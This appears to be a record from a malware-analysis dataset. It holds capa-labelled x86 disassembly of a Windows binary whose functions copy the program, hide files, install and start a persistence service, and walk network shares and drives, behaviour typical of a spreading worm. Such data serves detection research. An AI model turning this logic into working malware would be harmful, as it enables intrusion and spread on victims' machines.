joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403d8c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push esi
push 4
push 5
lea eax, [ebp - 0x14]
push 2
push eax
call fcn.00403624
add esp, 0x10
lea eax, [ebp - 0x118]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x14]
push esi
push 0
push eax
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push esi
call fcn.00403dfa
push esi
call fcn.004074b0
pop ecx
pop ecx
dec eax
js 0x403de8
cmp byte [eax + esi], 0x2e
jne 0x403ddf
add eax, esi
push 0x40f1dc
push eax
call fcn.004073c0
pop ecx
pop ecx
pop esi
leave
ret

Function at 0x403dfa
Capabilities:
Delete file
Set file attributes

Disassembly:
push 0x20
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
ret

Function at 0x403e11
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x208]
xor esi, esi
push eax
call fcn.004073c0
lea eax, [ebp - 0x208]
push eax
call fcn.004074b0
add esp, 0xc
test eax, eax
je 0x403e57
cmp byte [ebp + eax - 0x209], 0x5c
lea eax, [ebp + eax - 0x209]
jne 0x403e57
and byte [eax], 0
push 1
pop esi
lea eax, [ebp - 0x208]
push str..
push eax
call fcn.004073d0
pop ecx
lea eax, [ebp - 0x348]
pop ecx
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x403f5d
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call fcn.004073c0
pop ecx
test esi, esi
pop ecx
jne 0x403eb1
lea eax, [ebp - 0x104]
push 0x40e044
push eax
call fcn.004073d0
pop ecx
pop ecx
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.004073d0
test byte [ebp - 0x348], 0x10
pop ecx
pop ecx
je 0x403f2a
lea eax, [ebp - 0x31c]
push 0x40e0ac
push eax
call fcn.004072d0
pop ecx
test eax, eax
pop ecx
je 0x403f40
lea eax, [ebp - 0x31c]
push 0x40e0a8
push eax
call fcn.004072d0
pop ecx
test eax, eax
pop ecx
je 0x403f40
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push 1
push eax
call dword [ebp + 0xc]
add esp, 0xc
test eax, eax
je 0x403f40
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push dword [ebp + 0xc]
push eax
call fcn.00403e11
add esp, 0xc
jmp 0x403f40
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push 0
push eax
call dword [ebp + 0xc]
add esp, 0xc
test eax, eax
je 0x403f56
lea eax, [ebp - 0x348]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x403e89
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
xor eax, eax
pop esi
leave
ret
Function at 0x403f63
Capabilities:
Get file size
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0xc], 0x13000
push ebx
push esi
push edi
jl 0x403f9d
push 0x20
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor ebx, ebx
push ebx
push 0x20
push 3
push ebx
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x403fa4
xor eax, eax
jmp 0x404028
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, dword [ebp + 0xc]
jle 0x403fcb
push ebx
push ebx
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
jmp 0x40401e
push 2
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp + 0xc]
sub eax, esi
mov esi, 0x80000
mov dword [ebp + 8], eax
mov ecx, esi
cdq
idiv ecx
cmp eax, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
jle 0x404009
mov dword [ebp + 0xc], eax
lea eax, [ebp - 4]
push 0
push eax
push esi
push 0x4119e0
push edi
call ebx
dec dword [ebp + 0xc]
jne 0x403ff5
lea eax, [ebp - 4]
push 0
push eax
mov eax, dword [ebp + 8]
cdq
idiv esi
push edx
push 0x4119e0
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4044e4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0x18]
or dword [ebp - 8], 0xffffffff
push eax
push 0
push dword [ebp + 0x14]
mov dword [ebp - 4], eax
call fcn.00407360
add esp, 0xc
lea eax, [ebp + 0x18]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x40451a
push 1
pop eax
leave
ret
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push dword [ebp + 0x14]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
leave
ret

Function at 0x404540
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x40455c
push 1
pop eax
pop ebp
ret
push dword [ebp + 0x14]
call fcn.004074b0
pop ecx
push eax
push dword [ebp + 0x14]
push 1
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop ebp
ret
Function at 0x404586
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
lea eax, [ebp - 4]
push esi
push eax
xor esi, esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x4045aa
xor eax, eax
jmp 0x404601
lea eax, [ebp - 0x10c]
push 0x104
push eax
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x4045f3
cmp dword [ebp + 0x10], eax
je 0x4045ec
and dword [ebp - 8], eax
push dword [ebp + 0x14]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp + 0x10]
add esp, 0x14
cmp dword [ebp - 8], 0
jne 0x4045ef
inc esi
jmp 0x4045aa
mov esi, eax
jmp 0x4045f6
push 1
pop esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret

Function at 0x404604
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
push ebx
lea eax, [ebp - 4]
push esi
push eax
push dword [ebp + 0xc]
mov esi, 0x400
xor ebx, ebx
mov dword [ebp - 0x10], esi
push dword [ebp + 8]
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x404634
xor eax, eax
jmp 0x4046a7
lea eax, [ebp - 8]
mov dword [ebp - 0x10], esi
push eax
lea eax, [ebp - 0x814]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push 0
push eax
lea eax, [ebp - 0x414]
mov dword [ebp - 8], esi
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x404699
cmp dword [ebp - 0x14], 1
jne 0x404692
cmp dword [ebp + 0x10], eax
je 0x404692
and dword [ebp - 0xc], eax
push dword [ebp + 0x14]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x414]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp + 0x10]
add esp, 0x14
cmp dword [ebp - 0xc], 0
jne 0x404695
inc ebx
jmp 0x404634
mov esi, eax
jmp 0x40469c
push 1
pop esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x4046d7
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
xor esi, esi
push 0x44
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.00407360
add esp, 0xc
lea eax, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop esi
and eax, dword [ebp - 0x10]
leave
ret
Function at 0x4048ef
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
and dword [ebp - 4], 0
cmp dword [0x491ef8], 0
jne 0x40492a
push 4
push 0x40f244
call fcn.00403434
lea ecx, [ebp - 4]
push ecx
push 0x404821
push eax
push closesocket
call fcn.00404586
add esp, 0x18
jmp 0x404966
lea eax, [ebp - 0x418]
push 2
push eax
call fcn.00403bd8
lea eax, [ebp - 0x418]
push eax
push 0x491ae8
call fcn.004073c0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x418]
push 0x40478d
push eax
push closesocket
call fcn.00404604
add esp, 0x20
mov eax, dword [ebp - 4]
test eax, eax
mov dword [0x491efc], eax
jne 0x404a47
push esi
lea eax, [ebp - 0x51c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor esi, esi
and byte [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push 0x40f769
push eax
call fcn.004073c0
pop ecx
lea eax, [ebp - 0x18]
pop ecx
push 4
push 4
push 2
push eax
call fcn.004074b0
pop ecx
lea eax, [ebp + eax - 0x18]
push eax
call fcn.00403624
lea eax, [ebp - 0x17]
push eax
call fcn.0040c61c
lea eax, [ebp - 0x51c]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.004073c0
lea eax, [ebp - 0x418]
push 0x40e044
push eax
call fcn.004073d0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.004073d0
lea eax, [ebp - 0x418]
push 0x40f1dc
push eax
call fcn.004073d0
lea eax, [ebp - 0x418]
push eax
call fcn.00403d58
add esp, 0x38
test eax, eax
je 0x404a24
inc esi
cmp esi, 0xa
jl 0x40498b
lea eax, [ebp - 0x18]
push eax
push 0x4919e4
call fcn.004073d0
lea eax, [ebp - 0x418]
push eax
push 0x491bec
call fcn.004073c0
add esp, 0x10
pop esi
push 1
pop eax
leave
ret

Function at 0x404b9c
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, dword [esp + 0xc]
cmp esi, 0x44
jb 0x404bd7
mov ecx, dword [esp + 8]
cmp byte [ecx], 0x4d
jne 0x404bd7
cmp byte [ecx + 1], 0x5a
jne 0x404bd7
movzx eax, word [ecx + 0x3c]
add eax, ecx
add esi, 0xfffffffc
mov edx, eax
sub edx, ecx
cmp edx, esi
ja 0x404bd7
mov eax, dword [eax]
pop esi
sub eax, 0x4550
neg eax
sbb eax, eax
not eax
and eax, edx
ret
xor eax, eax
pop esi
ret
Function at 0x4050fd
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
push esi
push edi
push 3
pop edi
lea ecx, [ebp - 0x2c]
call fcn.0040174b
push dword [ebp + 0x10]
call fcn.004074b0
mov esi, eax
pop ecx
lea eax, [ebp - 0x14]
add esi, 0x20
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
and word [ebp - 0x12], 0xfffe
xor ebx, ebx
push ebx
call fcn.004046ab
pop ecx
xor edx, edx
push 0x1e
pop ecx
div ecx
sub word [ebp - 0xa], dx
cmp word [ebp - 0xa], 0x3c
jb 0x405153
mov word [ebp - 0xa], 1
mov al, byte [ebp - 0xa]
mov ecx, dword [ebp - 0xc]
and eax, 0x3f
shl ecx, 6
or eax, ecx
mov cl, byte [ebp - 8]
shr cl, 1
shl eax, 5
and ecx, 0x1f
or eax, ecx
mov cl, byte [ebp - 2]
mov word [ebp - 4], ax
mov eax, dword [ebp - 0x14]
add eax, 0x44
and ecx, 0x1f
shl eax, 9
xor eax, ecx
mov cl, byte [ebp - 0x12]
and ecx, 0xf
and ax, 0xfe1f
shl ecx, 5
or eax, ecx
mov cl, byte [ebp - 0xe]
mov word [ebp - 2], ax
xor cl, byte [ebp - 2]
and ecx, 0x1f
xor ax, cx
cmp dword [ebp + 0x14], ebx
mov word [ebp - 2], ax
je 0x4051ae
push 2
pop edi
push 0x20
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push 0x20
push edi
push ebx
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x4051dd
xor eax, eax
jmp 0x4052eb
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0x18]
push 1
push eax
lea ecx, [ebp - 0x2c]
push dword [ebp + 0xc]
call fcn.0040174e
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x4052e0
mov eax, dword [ebp - 0x18]
mov byte [ebp - 0x14a], 0x74
push eax
mov word [ebp - 0x149], 0x8000
push dword [ebp + 0xc]
mov word [ebp - 0x147], si
mov dword [ebp - 0x145], eax
mov dword [ebp - 0x141], eax
mov byte [ebp - 0x13d], bl
call fcn.00405095
push dword [ebp + 0x10]
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 4]
mov byte [ebp - 0x134], 0x14
mov dword [ebp - 0x138], eax
mov byte [ebp - 0x133], 0x30
call fcn.004074b0
push dword [ebp + 0x10]
mov word [ebp - 0x132], ax
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x130], ebx
push eax
call fcn.004073c0
movzx edi, si
lea eax, [edi - 2]
push eax
lea eax, [ebp - 0x14a]
push eax
call fcn.00405095
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
add esp, 0x1c
cmp dword [ebp + 0x14], ebx
mov word [ebp - 0x14c], ax
je 0x4052b3
lea eax, [ebp - 0x1c]
push ebx
push eax
push 0x14
push 0x40fd88
push dword [ebp + 8]
call esi
lea eax, [ebp - 0x1c]
push ebx
push eax
lea eax, [ebp - 0x14c]
push edi
push eax
push dword [ebp + 8]
call esi
lea eax, [ebp - 0x1c]
push ebx
push eax
push dword [ebp - 0x18]
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
lea ecx, [ebp - 0x2c]
call fcn.00401808
push 1
pop ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4053e8
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
push 1
pop ebx
push ebx
call fcn.004046ab
mov esi, 0x104
xor edi, edi
push esi
push edi
push 0x491df4
call fcn.00407360
push esi
push edi
push 0x491cf0
call fcn.00407360
push esi
push edi
push 0x491bec
call fcn.00407360
push esi
push edi
push 0x491ae8
call fcn.00407360
push esi
push edi
push 0x4919e4
call fcn.00407360
add esp, 0x40
push 0x40e0d0
push 0x1f16
push 0x40e0d4
call fcn.00403529
push 0x491f00
call fcn.00402642
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0x80000000
mov dword [0x491f08], edi
mov dword [0x491ef8], eax
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
jne 0x4054a8
cmp dword [ebp - 0x8c], ebx
jne 0x4054a8
mov dword [0x491f08], ebx
call fcn.004048ef
mov esi, 0x7d000
push esi
call fcn.00407bff
cmp eax, edi
pop ecx
mov dword [0x4919e0], eax
jne 0x4054c6
xor eax, eax
jmp 0x4054ea
push esi
push edi
push eax
call fcn.00407360
call fcn.004055a8
push ebx
push 0x40fde0
call fcn.00403434
push eax
push edi
call fcn.0040530f
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4055a8
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push ebp
push esi
push edi
push 2
push 0x40fb6f
call fcn.00403434
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop ecx
pop ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
test ebp, ebp
mov edi, 0x40fc6f
je 0x40560d
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 4
push edi
mov dword [0x491f10], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 5
push edi
mov dword [0x491f0c], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491f14], eax
push 3
push 0x40fb6f
call fcn.00403434
pop ecx
pop ecx
push eax
call ebx
mov ebp, eax
test ebp, ebp
je 0x405637
push 3
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491f18], eax
mov edi, 0x40fda4
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x405658
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebx
call esi
mov dword [0x491f1c], eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4058ed
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push esi
lea ecx, [ebp - 0x18]
call fcn.0040174b
and dword [ebp - 4], 0
lea eax, [ebp - 8]
push 1
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x18]
call fcn.0040174e
mov esi, eax
test esi, esi
je 0x4059b1
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
push dword [ebp + 8]
call fcn.0040752b
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004073d0
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004073d0
and byte [ebp - 0x21b], 0
lea eax, [ebp - 0x21f]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004073d0
lea eax, [ebp - 0x11c]
push 0x40f1dc
push eax
call fcn.004073d0
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push esi
call fcn.004071e0
mov esi, eax
add esp, 0x40
test esi, esi
lea ecx, [ebp - 0x18]
jne 0x4059b5
call fcn.00401808
xor eax, eax
jmp 0x405a09
call fcn.00401808
push dword [ebp - 4]
lea eax, [ebp - 0x11c]
push esi
push eax
call fcn.00403cbb
push esi
call fcn.0040785b
add esp, 0x10
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004046d7
pop ecx
test eax, eax
pop ecx
je 0x405a07
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x11c]
push eax
call fcn.00403dfa
pop ecx
push 1
pop esi
mov eax, esi
pop esi
leave
ret

Function at 0x405ee4
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
and byte [ebp - 0x10c], 0
push ebx
lea eax, [ebp - 0x10c]
push 0x104
push eax
push 1
push 0x40f949
call fcn.00403434
pop ecx
pop ecx
push eax
push 0x40f244
push closesocket
call fcn.004044e4
lea eax, [ebp - 0x10c]
push eax
call fcn.00405ca4
movsx eax, byte [ebp - 0x10c]
mov bl, byte [ebp - 0x10a]
push eax
call fcn.0040773e
add esp, 0x1c
and dword [ebp - 8], 0
mov byte [ebp - 1], al
mov al, byte [ebp - 8]
add al, 0x61
cmp al, byte [ebp - 1]
je 0x405f8e
and byte [ebp - 0x10a], 0
mov byte [ebp - 0x10c], al
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
mov byte [ebp - 0x10a], bl
jne 0x405f8e
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push 0x405e8c
push eax
call fcn.00403e11
add esp, 0xc
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x1a
jl 0x405f48
xor eax, eax
pop ebx
leave
ret 4
Function at 0x4066d2
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x439c
call fcn.00407bd0
lea eax, [ebp + 0xc]
push edi
push eax
or dword [ebp - 4], 0xffffffff
push dword [ebp + 8]
mov dword [ebp - 8], 0x3e80
push 3
push 1
pop edi
push edi
push dword [ebp + 0xc]
call sub.MPR.dll_WNetOpenEnumA
test eax, eax
jne 0x406848
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x439c]
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
call sub.MPR.dll_WNetEnumResourceA
xor ebx, ebx
cmp dword [ebp - 4], ebx
mov dword [ebp + 8], ebx
jbe 0x40683f
push esi
lea esi, [ebp - 0x4388]
test byte [esi - 8], 2
lea eax, [esi - 0x14]
je 0x406751
push dword [ebp + 0x10]
push 2
push eax
call fcn.004066d2
add esp, 0xc
jmp 0x40682c
lea eax, [ebp - 0x314]
push eax
lea eax, [ebp - 0x210]
push eax
push dword [esi]
call fcn.00404aa9
add esp, 0xc
test eax, eax
jne 0x40682c
push dword [ebp + 0x10]
lea eax, [ebp - 0x210]
push eax
call fcn.00406498
pop ecx
pop ecx
push edi
push 0x40f1dc
push ebx
call fcn.004046ab
pop ecx
and eax, edi
push eax
lea eax, [ebp - 0x51c]
push eax
call fcn.00404156
add esp, 0x10
cmp dword [ebp + 0x10], ebx
je 0x40682c
push edi
lea eax, [ebp - 0x51c]
push ebx
push eax
lea eax, [ebp - 0x314]
push ebx
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.0040280f
add esp, 0x18
push edi
push 0x40fd9e
push ebx
call fcn.004046ab
pop ecx
and eax, edi
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00404156
push dword [esi]
lea eax, [ebp - 0x10c]
push eax
call fcn.004073c0
lea eax, [ebp - 0x10c]
push 0x40e044
push eax
call fcn.004073d0
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.004073d0
push edi
push 0xffffffffffffffff
lea eax, [ebp - 0x10c]
push 0xffffffffffffffff
push eax
call fcn.00406ab2
add esp, 0x38
inc dword [ebp + 8]
add esi, 0x20
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 4]
jb 0x406735
pop esi
push dword [ebp + 0xc]
call sub.MPR.dll_WNetCloseEnum
pop ebx
pop edi
leave
ret
Function at 0x40686a
Capabilities:
Copy file
Create service
Persist via windows service
Set file attributes
Start service

Disassembly:
mov eax, 0x2034
call fcn.00407bd0
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x491bec
push 0x20
push esi
call edi
push ebx
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x20
push esi
mov dword [esp + 0x18], eax
call edi
cmp dword [esp + 0x10], ebx
je 0x40690d
push 0x1f2a
lea eax, [esp + 0x11c]
push 0x40e0c0
push eax
call fcn.00407870
lea eax, [esp + 0x124]
mov byte [esp + 0x1138], bl
push eax
push esi
call fcn.004054ef
push 0x13000
push esi
call fcn.00404e9c
push ebx
call fcn.004046ab
xor edx, edx
mov ecx, 0x2800
div ecx
add edx, 0x13200
push edx
push esi
call fcn.00403f63
add esp, 0x28
push 0x27
push esi
call edi
cmp dword [0x491ef8], ebx
mov edi, 0x4919e4
je 0x406964
push esi
push edi
push 0x491ae8
push closesocket
call fcn.00404540
push 1
push 0x40fb6f
call fcn.00403434
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push 0x40fc6f
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x40695d
push 1
push ebx
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x10], ebx
jne 0x40696e
xor eax, eax
jmp 0x4069e3
cmp dword [0x491ef8], ebx
je 0x406981
push ebx
push esi
call fcn.004046d7
pop ecx
pop ecx
jmp 0x4069e0
cmp dword [0x491f00], ebx
jne 0x4069e0
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 2
push ebx
push ebx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
push 2
push 0x110
push ebx
push edi
push edi
push eax
mov dword [esp + 0x44], eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push 1
push ebx
push ebx
call ebp
mov ebp, eax
push 0x10
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call esi
push ebp
call esi
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2034
ret